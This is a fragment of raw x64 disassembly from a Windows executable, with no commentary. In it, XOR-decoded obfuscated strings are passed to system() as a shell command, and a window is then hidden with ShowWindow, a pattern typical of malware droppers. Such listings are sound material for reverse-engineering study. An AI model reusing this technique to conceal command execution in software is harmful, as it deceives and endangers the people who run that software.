punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x18
jl 0x1401253b0
cmp r8d, 0x1b
jge 0x1401254e2
movsxd rax, r8d
lea r9, [rsp + 0x80]
add r9, rax
nop dword [rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x35
add cl, r8b
xor byte [r9], cl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x1b
jl 0x1401254b0
lea rdx, [rsp + 0x80]
mov rcx, r10
call fcn.140025470
lea rdx, [rsp + 0x2f0]
cmp qword [rsp + 0x308], 0xf
cmova rdx, qword [rsp + 0x2f0]
mov r8, qword [rsp + 0x300]
mov rcx, rax
call fcn.140025fa0
lea rdx, [0x140025650]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
call fcn.14011d7b0
movups xmm0, xmmword [0x1401d7320]
movups xmmword [rsp + 0xb0], xmm0
movups xmm1, xmmword [0x1401d7330]
movups xmmword [rsp + 0xc0], xmm1
movups xmm0, xmmword [0x1401d7340]
movups xmmword [rsp + 0xd0], xmm0
movups xmm1, xmmword [str.SRI_r]
movups xmmword [rsp + 0xe0], xmm1
movsd xmm0, qword [0x1401d7360]
movsd qword [rsp + 0xf0], xmm0
movzx eax, word [0x1401d7368]
mov word [rsp + 0xf8], ax
mov r8d, edi
cmp r14d, 2
jl 0x14012569b
movdqa xmmword [rsp + 0x60], xmm10
lea rcx, [rsp + 0xb4]
mov edx, dword [rsp + 0x60]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x48
jl 0x1401255b0
cmp r8d, 0x4a
jge 0x1401256e2
movsxd rax, r8d
lea r9, [rsp + 0xb0]
add r9, rax
nop dword [rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x35
add cl, r8b
xor byte [r9], cl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x4a
jl 0x1401256b0
xorps xmm0, xmm0
movups xmmword [rsp + 0x400], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x410], xmm1
lea rax, [rsp + 0xb0]
inc rbx
cmp byte [rax + rbx], 0
jne 0x140125701
mov r8, rbx
lea rdx, [rsp + 0xb0]
lea rcx, [rsp + 0x400]
call fcn.1400256b0
nop
lea rcx, [rsp + 0x400]
cmp qword [rsp + 0x418], 0xf
cmova rcx, qword [rsp + 0x400]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rsp + 0x138]
call fcn.1400b8040
test rax, rax
jne 0x14012577a
mov rax, qword [rsp + 0x130]
movsxd rcx, dword [rax + 4]
lea rax, [rsp + 0x130]
add rcx, rax
xor r8d, r8d
mov edx, 2
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool____ptr64]
mov byte [reloc.WS2_32.dll_accept], 1
xor edx, edx
mov rcx, qword [rsp + 0x118]
call qword [sym.imp.USER32.dll_ShowWindow]
nop
lea rcx, [rsp + 0x400]
call fcn.1400252b0
nop
mov rax, qword [rsp + 0x130]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
mov qword [rsp + rcx + 0x130], rax
mov rax, qword [rsp + 0x130]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rsp + rcx + 0x12c], edx
lea rcx, [rsp + 0x138]
call fcn.1400b7be0
lea rcx, [rsp + 0x140]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::destructor_void____ptr64]
lea rcx, [rsp + 0x1d8]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::destructor_void____ptr64]
nop
mov rcx, qword [rsp + 0x298]
test rcx, rcx
je 0x140125844
mov rdx, qword [rsp + 0x2a8]
sub rdx, rcx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14012583e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14012583e
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14017546c
nop
lea rcx, [rsp + 0x240]
call fcn.1400252b0
nop
lea rcx, [rsp + 0x328]
call fcn.1400252b0
nop
lea rcx, [rsp + 0x2f0]
call fcn.1400252b0
nop
lea rcx, [rsp + 0x348]
call fcn.1400252b0
nop
lea rcx, [rsp + 0x2b8]
call fcn.1400252b0
nop
lea rcx, [rsp + 0x368]
call fcn.1400252b0
nop
lea rcx, [rsp + 0x260]
call fcn.1400252b0
nop
lea rcx, [rsp + 0x420]
call fcn.1400b83d0
nop
mov rcx, qword [rsp + 0x310]
test rcx, rcx
je 0x14012590d
mov rdx, qword [rsp + 0x320]
sub rdx, rcx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1401258f4
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1401258f4
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14017546c
xorps xmm0, xmm0
movdqu xmmword [rsp + 0x310], xmm0
mov qword [rsp + 0x320], rdi
mov rcx, qword [rsp + 0x2d8]
test rcx, rcx
je 0x140125966
mov rdx, qword [rsp + 0x2e8]
sub rdx, rcx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14012594d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14012594d
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14017546c
xorps xmm0, xmm0
movdqu xmmword [rsp + 0x2d8], xmm0
mov qword [rsp + 0x2e8], rdi
lea rcx, [rsp + 0x3c0]
call fcn.1400252b0
nop
lea rcx, [rsp + 0x3e0]
call fcn.1400252b0
nop
lea rcx, [rsp + 0x388]
call fcn.1400252b0
nop
mov rcx, qword [rsp + 0x280]
test rcx, rcx
je 0x14012372d
mov rdx, qword [rsp + 0x290]
sub rdx, rcx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140123714
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140123714
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call fcn.140021730
int3
call fcn.140021690
int3